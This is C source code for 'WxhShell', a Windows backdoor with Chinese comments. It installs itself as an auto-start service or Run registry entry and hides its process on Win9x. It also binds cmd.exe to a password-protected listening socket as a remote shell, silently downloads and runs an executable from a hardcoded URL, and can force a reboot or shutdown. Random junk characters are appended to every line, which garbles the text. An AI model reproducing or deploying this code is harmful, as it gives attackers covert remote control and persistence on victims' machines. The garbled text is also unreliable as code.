    closesocket(wsh); JEs@ky?{z  
    ExitThread(0); o%!s/Z1  
    } l"1*0jgBw  
    break; D\Y,2!I  
    } n[B[hAT  
  // 关机 gFd*\Dk  
  case 'd': { |c>.xt~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c^rWS&)P  
    if(Boot(SHUTDOWN)) Zoy)2E{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 18Vn[}]"  
    else { 6L;]5)#  
    closesocket(wsh); ==UYjbuU  
    ExitThread(0); p~NHf\  
    } ][KlEE>W2  
    break; (_]!}N  
    } ;b (ww{&  
  // 获取shell (*b<IGi;  
  case 's': { I$R1#s  
    CmdShell(wsh); hQ}_(F_H  
    closesocket(wsh); P4zwTEk`  
    ExitThread(0); ^f57qc3nF  
    break; [mQdc?n\  
  } Y/5(BK)  
  // 退出 vN:!{)~z  
  case 'x': { 4JyA+OD4{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S.{   
    CloseIt(wsh); FUf.3@}  
    break; 9)8Cf% <(  
    } &6vWz6!P  
  // 离开 +$Y*1{hyOo  
  case 'q': { h$}PQ   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); B&7NF}CF2  
    closesocket(wsh); dVk(R9 8  
    WSACleanup(); QJ(5o7Tfn  
    exit(1); f5p/cUzX  
    break; Ex Q\qp3  
        } 4*L* "vKa  
  } 6#AEVRJKU@  
  } `x=$n5= 8  
 !^8X71W|  
  // 提示信息 Dw.I<fns^B  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5F!Qn\{u{  
} `*elzW  
  } ak-agH  
[2YPV\=  
  return; [Y~~C J  
} MN8>I=p  
&CcW(-  
// shell模块句柄 ]Y-Y.&b7t  
int CmdShell(SOCKET sock) |N^"?bSt  
{ Qwt0~9n(  
STARTUPINFO si; ZJenwo  
ZeroMemory(&si,sizeof(si)); x.4z)2MO  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4U_+NC>b  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `N&*+!O%  
PROCESS_INFORMATION ProcessInfo; ^{{a v?h  
char cmdline[]="cmd"; LR{bNV[i  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0}"\3EdAbD  
  return 0; W9pY=9]p+  
} nF_q{e7  
AorY#oq  
// 自身启动模式 L N Fe7<y  
int StartFromService(void) j"'a5;Sy  
{ a5R. \a<q  
typedef struct M PDRMGR@i  
{ h _{f_GQ"  
  DWORD ExitStatus; l S3LX  
  DWORD PebBaseAddress; L"/ ?[B":  
  DWORD AffinityMask; )bR0 >3/  
  DWORD BasePriority; BWvM~no  
  ULONG UniqueProcessId; iC5HrOl6U  
  ULONG InheritedFromUniqueProcessId; .d r Y  
}   PROCESS_BASIC_INFORMATION; FZO&r60$E  
h`n '{s  
PROCNTQSIP NtQueryInformationProcess; oH+PlL  
N mXRA(m  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &A*E)T#>#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %\(-<aT  
|(ab0b #  
  HANDLE             hProcess; qJ(uak  
  PROCESS_BASIC_INFORMATION pbi; BC/5bA  
J4"A6`O  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ap'La|9t>  
  if(NULL == hInst ) return 0; rAAx]nQ@  
deArH5&!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rdd-W>+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~nhO*bs}7{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *;9H\%  
-3i(N.)<;  
  if (!NtQueryInformationProcess) return 0; AWi>(wk<  
c+E\e]{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T7 "QwA  
  if(!hProcess) return 0; Sir1>YEm  
k2$pcR,WM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E0Q6Ryn  
auc:|?H~1n  
  CloseHandle(hProcess); R6BbkYWrX  
Wh..QVv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b@&uwSv  
if(hProcess==NULL) return 0; ~] V62^0  
}~|`h1JF  
HMODULE hMod; Uz_p-J0  
char procName[255]; @2L^?*n=  
unsigned long cbNeeded; R;pW,]}g,  
xjiV9{w  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z/`+jIB  
l^ay* H  
  CloseHandle(hProcess); Jw@X5-(Cp  
R[v0T/  
if(strstr(procName,"services")) return 1; // 以服务启动 9#9bm  
v0dzM/?*  
  return 0; // 注册表启动 qbsod  
} K<:%ofB"S  
c5$DHT @N"  
// 主模块 HEbL'fw^s  
int StartWxhshell(LPSTR lpCmdLine) ] 1pIIX}  
{ p<H_]|7$7U  
  SOCKET wsl; 1t^y?<)  
BOOL val=TRUE; ?k4Hk$V  
  int port=0; dp^PiyL  
  struct sockaddr_in door; gJr)z7W'8  
)W 5g-@  
  if(wscfg.ws_autoins) Install(); t`E5bWG  
]o]`X$n  
port=atoi(lpCmdLine); JyTETf,y  
h6?^rS8U  
if(port<=0) port=wscfg.ws_port; B G\)B  
)K@D4sl  
  WSADATA data; e-P{)L<s5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H[p~1%Lq  
A r~/KRK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -rI7ihr*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M&V4|D  
  door.sin_family = AF_INET; M j[+h|e  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;Us6:}s  
  door.sin_port = htons(port); SQ> Yf\  
:t!J 9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { PvV\b<Pe+  
closesocket(wsl); rgCC3TX  
return 1; /klo),|&  
} ~y"R{-%uS  
Bj2iYk_cLa  
  if(listen(wsl,2) == INVALID_SOCKET) { !{CIP`P1  
closesocket(wsl); Uz,P^\8^$  
return 1; Jj [3rt?8  
} Mn/  
  Wxhshell(wsl); !PGCoI  
  WSACleanup(); { CR`~)v&  
,"`3N2!Y}  
return 0; \mGb|aF8  
 *\xRNgEQ  
} ]~dB| WB  
,&4 [`d  
// 以NT服务方式启动 8 A]8yX =  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0'r}]Mws  
{ >S`=~4  
DWORD   status = 0; @w==*.x  
  DWORD   specificError = 0xfffffff; *(q{k%/M  
5OGwOZAj52  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hs;|,r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; d7b`X<=@s  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; NiVLx_<Pr'  
  serviceStatus.dwWin32ExitCode     = 0; X%-hTl  
  serviceStatus.dwServiceSpecificExitCode = 0; CPNV\qCY  
  serviceStatus.dwCheckPoint       = 0; \R@}X cqZ  
  serviceStatus.dwWaitHint       = 0; <ZZfN@6  
P;25 F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,?j!c*  
  if (hServiceStatusHandle==0) return; A@lM =   
p%>!1_'(  
status = GetLastError(); ~l'[P=R+8  
  if (status!=NO_ERROR) Et*LbU  
{ "7+^`?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; dfVI*5[Z  
    serviceStatus.dwCheckPoint       = 0; ( zm!_~1  
    serviceStatus.dwWaitHint       = 0; V4"o.G3\o  
    serviceStatus.dwWin32ExitCode     = status; st"@kHQ3  
    serviceStatus.dwServiceSpecificExitCode = specificError; :%mls Nw  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7YTO{E6]d\  
    return; TTj] _R{n  
  } Q_,!(N  
: c iwh  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -M]/Xv]  
  serviceStatus.dwCheckPoint       = 0; iWW!'u$+I`  
  serviceStatus.dwWaitHint       = 0; u SZfim@Z7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i`CNgScF>  
} N|>MqH,Bt  
<LBCu;  
// 处理NT服务事件,比如:启动、停止 5ip ZdQ^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) kp[&SKU c  
{ 7]L}~  
switch(fdwControl) NPBOG1q%  
{ +gndW  
case SERVICE_CONTROL_STOP: C|FI4/-e  
  serviceStatus.dwWin32ExitCode = 0; M-QQ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b9.7j!W  
  serviceStatus.dwCheckPoint   = 0; u8A,f}D 3  
  serviceStatus.dwWaitHint     = 0; 8[^b8^  
  { E]a,2{&8<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l3MA&&++KF  
  } 2g)q (  
  return; p,8:(|(  
case SERVICE_CONTROL_PAUSE: O>X!78]#K  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; js)E:+{A,  
  break; '2|mg<Ft  
case SERVICE_CONTROL_CONTINUE: I %1P:-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; CD?b.Cxai  
  break; 6S%KUFB+e  
case SERVICE_CONTROL_INTERROGATE:  :5^5l  
  break; H9VdoxKo  
}; ?5d[BV   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pvkr$ou  
} &{M-<M  
}236{)DuN  
// 标准应用程序主函数 Pa\yp?({q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G7-.d/8|^  
{ W}(xE?9&  
sV~|9/r  
// 获取操作系统版本 Cq=k3d#}  
OsIsNt=GetOsVer(); :oZ~&H5Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0#ePg6n  
3=L5Y/  
  // 从命令行安装 i}:^<jDv?  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,+n{xI2  
5iItgVTW  
  // 下载执行文件 = p2AK\  
if(wscfg.ws_downexe) { C0e oV}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) { zalB" i  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q;2k bVWY  
} J0@#xw=+  
,tFLx#e#  
if(!OsIsNt) { <m`Os2#  
// 如果时win9x,隐藏进程并且设置为注册表启动 ap|V}j C  
HideProc(); c_ 1.  
StartWxhshell(lpCmdLine); ;x{J45^  
} )hA)`hL F  
else uhmSp+%  
  if(StartFromService()) Dm;aTe  
  // 以服务方式启动 [py/\zkn  
  StartServiceCtrlDispatcher(DispatchTable); @q" #.?>s  
else L|2WTyMU  
  // 普通方式启动 >Cr'dKZ}  
  StartWxhshell(lpCmdLine); ve/|"RB  
Z=s]@r  
return 0; #k)J);&ZA  
} pvqbk2BO  
Q@l.p-:^U  
+r =p ,leb  
g9gyx/'*  
=========================================== Bd13p_V"6  
>RmL0d#B  
c$%I^f}'  
6k\8ulHw  
7LW %:0  
\9.@T g8`  
" v.H@Ey2  
hKK"D:?PRs  
#include <stdio.h> o:/yme G  
#include <string.h> fJG!TQJ[Y  
#include <windows.h> %LdFS~  
#include <winsock2.h> yD&UH_ 1g  
#include <winsvc.h> AUkePp78  
#include <urlmon.h> f+dj6!g5/  
1QuR7p  
#pragma comment (lib, "Ws2_32.lib") v|r#  
#pragma comment (lib, "urlmon.lib") klC48l  
RZKczZGZg  
#define MAX_USER   100 // 最大客户端连接数 ^5gB?V,  
#define BUF_SOCK   200 // sock buffer |f&=9%  
#define KEY_BUFF   255 // 输入 buffer &uTK@ G+  
`OyYo^+D|.  
#define REBOOT     0   // 重启 Rwz (20n\^  
#define SHUTDOWN   1   // 关机 Q(YQ$ i"S  
(=i+{ 3`|  
#define DEF_PORT   5000 // 监听端口 DKf:0E8  
O>L 5 dP  
#define REG_LEN     16   // 注册表键长度 >_?Waz %  
#define SVC_LEN     80   // NT服务名长度 (V+iJ_1g{  
+D+Rf,D  
// 从dll定义API :E9@9>3S  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k<NEauQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z0%Qy+%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /3v`2=b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L[:b\ O/p,  
3/((7O[  
// wxhshell配置信息 Kkds^v6  
struct WSCFG { rv97Wm+  
  int ws_port;         // 监听端口 {5gh.  
  char ws_passstr[REG_LEN]; // 口令 ib)AC,LT  
  int ws_autoins;       // 安装标记, 1=yes 0=no Bso3Z ^X.  
  char ws_regname[REG_LEN]; // 注册表键名 8(A+"H(  
  char ws_svcname[REG_LEN]; // 服务名 ( u}tUv3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 tqe8:\1yK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FY;R0+N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V2|XcR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $T80vEi+u  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u~^d5["T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9"~,ha7S$  
h wfKgsm  
}; |;_uN q9  
okZDxg`6  
// default Wxhshell configuration |\~!o N  
struct WSCFG wscfg={DEF_PORT, U*6)/.J  
    "xuhuanlingzhe", -gKo@I  
    1, g>O O '}lF  
    "Wxhshell", o}K!p %5_  
    "Wxhshell", S+(-k0  
            "WxhShell Service", ueazAsk3g  
    "Wrsky Windows CmdShell Service", RZ&T\;m,7  
    "Please Input Your Password: ", v81H!c.*  
  1, 9W <I~  
  "http://www.wrsky.com/wxhshell.exe", >w"k:O17  
  "Wxhshell.exe" 6>Szxkz  
    }; >A;9Ee"&  
/? j vv&  
// 消息定义模块 Lk|%2XGO&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; nE3'm[)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; S2 0L@e"U  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @eGJ_ J  
char *msg_ws_ext="\n\rExit."; +8 AGs,  
char *msg_ws_end="\n\rQuit."; 7R=cxD&  
char *msg_ws_boot="\n\rReboot..."; ?R}a,k  
char *msg_ws_poff="\n\rShutdown..."; gjVKk  
char *msg_ws_down="\n\rSave to "; )N4_SA  
#\]:lr{>?4  
char *msg_ws_err="\n\rErr!"; }XiV$[xHd  
char *msg_ws_ok="\n\rOK!"; .UuCTH;6`  
u/BCl!`  
char ExeFile[MAX_PATH]; }vbs6u  
int nUser = 0; hs"=>(P)  
HANDLE handles[MAX_USER]; o4"7i 9+g  
int OsIsNt; M1/Rba Q  
q-fxs8+m|  
SERVICE_STATUS       serviceStatus; ( o_lH2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !5P\5WF~Y  
_JjR= m  
// 函数声明 O:Fnxp5@  
int Install(void); _8CE|<Cn  
int Uninstall(void); m*MfGj(  
int DownloadFile(char *sURL, SOCKET wsh); / b_C9'S  
int Boot(int flag); (hn@+hc  
void HideProc(void); IE-c^'W=}m  
int GetOsVer(void); I(*4N^9++  
int Wxhshell(SOCKET wsl); O!D0 hW4  
void TalkWithClient(void *cs); !V6O~#  
int CmdShell(SOCKET sock); q >|:mXR  
int StartFromService(void); n~g,qEI;<x  
int StartWxhshell(LPSTR lpCmdLine); <QyJJQM  
*c+Kqz-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F`$V H^%V  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); KU> $=Rd  
<"g ^V  
// 数据结构和表定义 ;oQ*gd  
SERVICE_TABLE_ENTRY DispatchTable[] = <d GGH  
{ :i&ZMH,O  
{wscfg.ws_svcname, NTServiceMain}, Lii,L}  
{NULL, NULL} \lnpsf  
}; Ls#= R  
]iyJ>fC  
// 自我安装 ESl-k2  
int Install(void) u2SnL$A7  
{ |[ tlR`A$  
  char svExeFile[MAX_PATH]; (C RY$+d  
  HKEY key; S(c,Sinc  
  strcpy(svExeFile,ExeFile); e[HP]$\   
Tk hu,  
// 如果是win9x系统,修改注册表设为自启动 ?]'Rz\70  
if(!OsIsNt) { v:MJF*/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p1 9j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &!uN N|W  
  RegCloseKey(key); I&oHVFY+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9nFPGIz+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a3wTcp "r  
  RegCloseKey(key); ^gwVh~j  
  return 0; ]}_@!F)  
    } J?WT  
  } Z^w}: {  
} p#9.lFSX  
else { w a!g/ \  
`,mE '3&  
// 如果是NT以上系统,安装为系统服务 I-E}D"F;p[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "(6]K}k@  
if (schSCManager!=0) #-ioLt%  
{ /hPgOaB  
  SC_HANDLE schService = CreateService V=pg9KR!T  
  ( %C_RBd  
  schSCManager, 6OJ`R.DM`  
  wscfg.ws_svcname, $z!o&3c'x  
  wscfg.ws_svcdisp, tK3.HvD  
  SERVICE_ALL_ACCESS, 4}FuoQL  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , NJG-~ w  
  SERVICE_AUTO_START, A#gmKS<J/7  
  SERVICE_ERROR_NORMAL, 7u"t4Or  
  svExeFile, 2,c{Z$\kn  
  NULL, #<X+)B6t  
  NULL, U5; D'G  
  NULL, OTA@4~{C  
  NULL, FnN@W^/z  
  NULL 85rXm*Df  
  ); qNP&f 8fH  
  if (schService!=0) &D "$N"  
  { @'.(62v  
  CloseServiceHandle(schService);  A7*<,]qT  
  CloseServiceHandle(schSCManager); v,N*vqWS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .z u0GsU=  
  strcat(svExeFile,wscfg.ws_svcname); VjbRjn5LI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }Z MbTsm  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >5{Z'UWxh  
  RegCloseKey(key); J G xuB*}  
  return 0; PiMW 29B^  
    } PpPg ~ix*  
  } #/NZ0IbHk  
  CloseServiceHandle(schSCManager); VC "66 \d&  
} eeX^zaKl]  
} }(h_ztw  
>t|u 8/P  
return 1; o +sb2:x  
} fRp+-QvE  
g@!mV)c97  
// 自我卸载 PN ,pEk|  
int Uninstall(void) yUF<qB  
{ -s`/5kD  
  HKEY key; -/:N&6eRb  
S}Wj+H;  
if(!OsIsNt) { ^EGe%Fq*x]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P9~7GFas|  
  RegDeleteValue(key,wscfg.ws_regname); =W(mZ#*vdY  
  RegCloseKey(key); ^2L\Y2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9Xb,Swo~  
  RegDeleteValue(key,wscfg.ws_regname); <]6])f,y\  
  RegCloseKey(key); ,E{z+:Es  
  return 0; RF/I*5  
  } z;6 Tp  
} ^nu~q+:+#  
} \|\ Dc0p}  
else { " (c#H  
hqW4.|&\c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  VP H  
if (schSCManager!=0) 8<UD#i@:C  
{ gPO,Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JivkY"= F  
  if (schService!=0)  7e\g  
  { z1t YD  
  if(DeleteService(schService)!=0) { 0|g|k7c{rF  
  CloseServiceHandle(schService); GAONgz|ZI  
  CloseServiceHandle(schSCManager); FA-"" ]  
  return 0; ZUJ !  
  } t]|WRQvy8  
  CloseServiceHandle(schService); 1Wd?AyTY,  
  } L&O!"[++  
  CloseServiceHandle(schSCManager); Az.(tJ X"  
} 5z8CUDt 0  
} n?vw|'(}  
'_& Xemz  
return 1; q<mDs$^K  
} /t=R~BJu  
)N`a4p  
// 从指定url下载文件 uK6`3lCD  
int DownloadFile(char *sURL, SOCKET wsh) xc[Lb aBG  
{ lub(chCE[  
  HRESULT hr; _5'OQ'P2  
char seps[]= "/"; g 4,>cqRkq  
char *token; ?N2/;u>  
char *file; %~ uMa  
char myURL[MAX_PATH]; U4]>8L  
char myFILE[MAX_PATH]; +yX\!H"  
fHTqLYd-  
strcpy(myURL,sURL); 9%e& Z'l  
  token=strtok(myURL,seps); >S4klW=*I  
  while(token!=NULL) pI2g\cH>  
  { LaL.C^K  
    file=token; o7"2"( =>  
  token=strtok(NULL,seps); mJT<  
  } ?bwF$Ku  
?4%'6R  
GetCurrentDirectory(MAX_PATH,myFILE); t_HS0rxG  
strcat(myFILE, "\\"); .#zmX\a  
strcat(myFILE, file); f\O)+Vc  
  send(wsh,myFILE,strlen(myFILE),0); Ag1*.t|  
send(wsh,"...",3,0); _" 0VM >  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7'pCFeA>=T  
  if(hr==S_OK) &{${Fq  
return 0; LB}y,-vX>  
else '<" eG!O  
return 1; #g,JNJ}  
`6:;*#jO,  
} 40cgsRa|  
t]?u<KD<  
// 系统电源模块 +JoE[;  
int Boot(int flag) ZS51QB  
{ "L^Klk?Vn  
  HANDLE hToken; Ipo?>To  
  TOKEN_PRIVILEGES tkp; V?U->0>Z4  
"Sp+Q&2U  
  if(OsIsNt) { MNURYA=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k,o|"9H  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); MQc|j'vEY  
    tkp.PrivilegeCount = 1; j)IXe 0dMC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >SO !{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C'x?riJ/  
if(flag==REBOOT) { v'Y)~Kv@!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pE{ZWW[@+  
  return 0; n_5m+ 1N  
} L'k )  
else { )rJ{}U:S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) l$KC\$?%*  
  return 0; 5:(uD3]  
} W =YFe<Q  
  } 9Z}Y2:l'  
  else { )G$/II9d  
if(flag==REBOOT) { IV$pA`|V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s)Bl1\Q  
  return 0; ycAQHY~n  
} ]jNv}{  
else { bDI#'F  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bqEQP3t^  
  return 0; ~\A(xmW}  
} ( )1\b  
} Y<%)Im6v/  
;ru=z@  
return 1; f\+MnZ4[Qj  
} >r+Dl\R  
dL%?k@R  
// win9x进程隐藏模块 R$( FrbC  
void HideProc(void) o33 wePx,  
{ C?6wIdp  
Hts.G~~8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Zcq'u jU  
  if ( hKernel != NULL ) 7PG&G5  
  { J7:VRf|,?(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b4`t, D  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ara D_D  
    FreeLibrary(hKernel); @]r,cPx0Y  
  } H8d%_jCr  
n}?XFx!%  
return; ~"eos~AuW  
} ZMO7 o 1"  
 qW8sJ=  
// 获取操作系统版本 A:$Qt%c  
int GetOsVer(void) 5Ug.J{d  
{ 5~&9/ ALk5  
  OSVERSIONINFO winfo; 61e)SIRz9I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |sd0fTK  
  GetVersionEx(&winfo); dh r)ra]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) < GoUth.#  
  return 1; 5Vo8z8]t`  
  else 8,\toT7  
  return 0; hM~9p{O  
} 2pR+2p`  
:o$k(X7a  
// 客户端句柄模块 eSvS<\p  
int Wxhshell(SOCKET wsl) b77Iw%x7  
{ &NbhQY`k  
  SOCKET wsh; GSzb  
  struct sockaddr_in client; 7: 7i}`O  
  DWORD myID; bup)cX^  
Db"jzMW.  
  while(nUser<MAX_USER) _ ;baZ-  
{ O iRhp(  
  int nSize=sizeof(client); f9FJ:?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &'{6_-kh  
  if(wsh==INVALID_SOCKET) return 1; P|,@En 1!  
'Fi\Qk'D@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); jWHv9XtW  
if(handles[nUser]==0) C3EQz r`  
  closesocket(wsh); ktlI(#\%  
else ph*?y  
  nUser++; JJ\|FZ N  
  } e UMOV]h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -4du`dg  
\;&WF1d`ac  
  return 0; pVgzUu7  
} \\Ps*HN  
#R2wt7vE  
// 关闭 socket iTTUyftHT  
void CloseIt(SOCKET wsh) lu~<pfg  
{ , y%!s27  
closesocket(wsh); wrw4Uxq  
nUser--; +T]/4"^M  
ExitThread(0); M7U:UV)  
} [n%=2*1p  
J~.8.]gXW  
// 客户端请求句柄 DIrQ5C  
void TalkWithClient(void *cs) 3 !W M'i  
{ %K0 H?^.  
u.!}s2wT#  
  SOCKET wsh=(SOCKET)cs; )anprhc  
  char pwd[SVC_LEN];  bT(}=j  
  char cmd[KEY_BUFF]; 8YroEX[5l  
char chr[1]; #-T xhwYs  
int i,j; PVfky@wl"  
AQAZ+g(IK  
  while (nUser < MAX_USER) { (^h2 'uB  
qg_M9xJ  
if(wscfg.ws_passstr) { 0hJ,l.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N %;bV@A9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  ! @EZ  
  //ZeroMemory(pwd,KEY_BUFF); &y\7pAT\  
      i=0; dM n0nc+  
  while(i<SVC_LEN) {  {yXpBS  
!vd(WKq  
  // 设置超时 b+b].,  
  fd_set FdRead; #8xP,2&zf  
  struct timeval TimeOut; [wp(s2=  
  FD_ZERO(&FdRead); mdzUL d5J  
  FD_SET(wsh,&FdRead); -8Z;s8ACo  
  TimeOut.tv_sec=8;  862e  
  TimeOut.tv_usec=0; bU$4"_eA B  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); eK8y'VY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "{TVd>9_  
7T[Kjn^{Oj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IR_&dWHyc  
  pwd=chr[0]; cp| q  
  if(chr[0]==0xd || chr[0]==0xa) { /6Bm <k%  
  pwd=0; BqoGHg4iq  
  break; }:QQ{h_  
  } B!J~ t8  
  i++; 3^!Y9$y1  
    } l~",<bTc  
hj4!* c  
  // 如果是非法用户,关闭 socket _k'?eZB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); aK|],L  
} 2~ [  
<V} ec1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,,}& Q%5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l~mC$>f  
eMHBY6<~=  
while(1) { GXk]u  
Pp{Re|.  
  ZeroMemory(cmd,KEY_BUFF); KE$I!$zO  
_bsAF^ ;  
      // 自动支持客户端 telnet标准   UnVYGch  
  j=0; -l(G"]tRB  
  while(j<KEY_BUFF) { i#4}xvi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l%\p  
  cmd[j]=chr[0]; SN#Cnu}  
  if(chr[0]==0xa || chr[0]==0xd) { o5h*sQ9  
  cmd[j]=0; lf`" (:./  
  break; #(Xv\OE  
  } 2E 0A`  
  j++; Z;'5A2  
    } %fJ~ 3mu  
_P}wO8  
  // 下载文件 >;^t)6  
  if(strstr(cmd,"http://")) { /#Fz K  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K=K]R01/o  
